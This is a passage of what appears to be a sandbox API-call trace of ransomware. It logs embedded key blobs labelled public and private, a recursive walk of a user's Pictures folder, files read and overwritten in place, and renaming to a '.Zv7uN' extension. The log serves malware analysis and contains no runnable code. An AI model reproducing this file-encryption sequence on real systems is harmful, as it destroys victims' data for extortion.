mhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.350] GetCurrentThreadId () returned 0xa30 [0085.350] GetCurrentThreadId () returned 0xa30 [0085.350] GetCurrentThreadId () returned 0xa30 [0085.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.351] GetCurrentThreadId () returned 0xa30 [0085.351] GetCurrentThreadId () returned 0xa30 [0085.351] GetCurrentThreadId () returned 0xa30 [0085.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\NB9o.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nb9o.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0085.351] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0085.351] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0085.351] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x10272 [0085.352] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0085.352] ReadFile (in: hFile=0x104, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x10272, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18ee3c*=0x10272, lpOverlapped=0x0) returned 1 [0085.365] CloseHandle (hObject=0x104) returned 1 [0085.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\NB9o.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nb9o.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0085.370] WriteFile (in: hFile=0x104, lpBuffer=0x1f3e8b0*, nNumberOfBytesToWrite=0x10272, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f3e8b0*, lpNumberOfBytesWritten=0x18ee48*=0x10272, lpOverlapped=0x0) returned 1 [0085.374] CloseHandle (hObject=0x104) returned 1 [0085.376] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\NB9o.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nb9o.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\NB9o.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\j1gacw\\skcuk\\nb9o.jpg.zv7un")) returned 1 [0085.402] GetCurrentThreadId () returned 0xa30 [0085.402] GetCurrentThreadId () returned 0xa30 [0085.402] GetCurrentThreadId () returned 0xa30 [0085.402] GetCurrentThreadId () returned 0xa30 [0085.402] GetCurrentThreadId () returned 0xa30 [0085.402] GetCurrentThreadId () returned 0xa30 [0085.402] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773bd8a0, ftCreationTime.dwHighDateTime=0x1d5e1a2, ftLastAccessTime.dwLowDateTime=0x99b60e20, ftLastAccessTime.dwHighDateTime=0x1d5e6d7, ftLastWriteTime.dwLowDateTime=0x99b60e20, ftLastWriteTime.dwHighDateTime=0x1d5e6d7, nFileSizeHigh=0x0, nFileSizeLow=0x10272, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="NB9o.jpg", cAlternateFileName="")) returned 0 [0085.402] GetLastError () returned 0x12 [0085.402] FindClose (in: hFindFile=0x6aa100 | out: hFindFile=0x6aa100) returned 1 [0085.402] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\J1gACW\\SKcUK\\*.*", lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c6e240, ftCreationTime.dwHighDateTime=0x1d5dae5, ftLastAccessTime.dwLowDateTime=0x50d28c60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50d28c60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa100 [0085.403] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eeec | out: lpLocalFileTime=0x18eeec) returned 1 [0085.403] FileTimeToDosDateTime (in: lpFileTime=0x18eeec, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0085.403] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c6e240, ftCreationTime.dwHighDateTime=0x1d5dae5, ftLastAccessTime.dwLowDateTime=0x50d28c60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50d28c60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.403] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0085.403] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0085.403] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12fe9e60, ftCreationTime.dwHighDateTime=0x1d5e05b, ftLastAccessTime.dwLowDateTime=0x816d96d0, ftLastAccessTime.dwHighDateTime=0x1d5dbc9, ftLastWriteTime.dwLowDateTime=0x50c6a580, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1670d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="6lsyG9.jpg.Zv7uN", cAlternateFileName="6LSYG9~1.ZV7")) returned 1 [0085.403] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0085.403] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0085.403] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf000a920, ftCreationTime.dwHighDateTime=0x1d5d994, ftLastAccessTime.dwLowDateTime=0xc993e280, ftLastAccessTime.dwHighDateTime=0x1d5ddbc, ftLastWriteTime.dwLowDateTime=0x50c906e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7b4b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="nASdIGvuK.bmp.Zv7uN", cAlternateFileName="NASDIG~1.ZV7")) returned 1 [0085.403] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0085.403] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0085.403] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773bd8a0, ftCreationTime.dwHighDateTime=0x1d5e1a2, ftLastAccessTime.dwLowDateTime=0x99b60e20, ftLastAccessTime.dwHighDateTime=0x1d5e6d7, ftLastWriteTime.dwLowDateTime=0x50cdc9a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x10272, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="NB9o.jpg.Zv7uN", cAlternateFileName="NB9OJP~1.ZV7")) returned 1 [0085.403] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0085.403] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0085.403] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773bd8a0, ftCreationTime.dwHighDateTime=0x1d5e1a2, ftLastAccessTime.dwLowDateTime=0x99b60e20, ftLastAccessTime.dwHighDateTime=0x1d5e6d7, ftLastWriteTime.dwLowDateTime=0x50cdc9a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x10272, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="NB9o.jpg.Zv7uN", cAlternateFileName="NB9OJP~1.ZV7")) returned 0 [0085.404] GetLastError () returned 0x12 [0085.404] FindClose (in: hFindFile=0x6aa100 | out: hFindFile=0x6aa100) returned 1 [0085.404] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47c6e240, ftCreationTime.dwHighDateTime=0x1d5dae5, ftLastAccessTime.dwLowDateTime=0x6b45da0, ftLastAccessTime.dwHighDateTime=0x1d5da45, ftLastWriteTime.dwLowDateTime=0x6b45da0, ftLastWriteTime.dwHighDateTime=0x1d5da45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="SKcUK", cAlternateFileName="")) returned 0 [0085.404] GetLastError () returned 0x12 [0085.404] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0085.404] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e0a440, ftCreationTime.dwHighDateTime=0x1d5e17e, ftLastAccessTime.dwLowDateTime=0xc448e590, ftLastAccessTime.dwHighDateTime=0x1d5e461, ftLastWriteTime.dwLowDateTime=0x50b5fbe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7064, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="n8TSq6Rxej90Ypz.jpg.Zv7uN", cAlternateFileName="N8TSQ6~1.ZV7")) returned 1 [0085.404] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0085.404] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0085.404] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458a620, ftCreationTime.dwHighDateTime=0x1d5de09, ftLastAccessTime.dwLowDateTime=0xcbab6d50, ftLastAccessTime.dwHighDateTime=0x1d5e29d, ftLastWriteTime.dwLowDateTime=0xcbab6d50, ftLastWriteTime.dwHighDateTime=0x1d5e29d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="POBCiS", cAlternateFileName="")) returned 1 [0085.404] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0085.404] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0085.404] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458a620, ftCreationTime.dwHighDateTime=0x1d5de09, ftLastAccessTime.dwLowDateTime=0xcbab6d50, ftLastAccessTime.dwHighDateTime=0x1d5e29d, ftLastWriteTime.dwLowDateTime=0xcbab6d50, ftLastWriteTime.dwHighDateTime=0x1d5e29d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0085.405] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458a620, ftCreationTime.dwHighDateTime=0x1d5de09, ftLastAccessTime.dwLowDateTime=0xcbab6d50, ftLastAccessTime.dwHighDateTime=0x1d5e29d, ftLastWriteTime.dwLowDateTime=0xcbab6d50, ftLastWriteTime.dwHighDateTime=0x1d5e29d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.405] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6906bf00, ftCreationTime.dwHighDateTime=0x1d5d8f3, ftLastAccessTime.dwLowDateTime=0xc6ca5430, ftLastAccessTime.dwHighDateTime=0x1d5d7c7, ftLastWriteTime.dwLowDateTime=0xc6ca5430, ftLastWriteTime.dwHighDateTime=0x1d5d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x175c0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Bu_QHO9-h.png", cAlternateFileName="BU_QHO~1.PNG")) returned 1 [0085.405] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0085.405] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\Bu_QHO9-h.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\bu_qho9-h.png"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6906bf00, ftCreationTime.dwHighDateTime=0x1d5d8f3, ftLastAccessTime.dwLowDateTime=0xc6ca5430, ftLastAccessTime.dwHighDateTime=0x1d5d7c7, ftLastWriteTime.dwLowDateTime=0xc6ca5430, ftLastWriteTime.dwHighDateTime=0x1d5d7c7, nFileSizeHigh=0x0, nFileSizeLow=0x175c0)) returned 1 [0085.405] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\Bu_QHO9-h.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\bu_qho9-h.png")) returned 0x20 [0085.405] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\Bu_QHO9-h.png", dwFileAttributes=0x80) returned 1 [0085.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 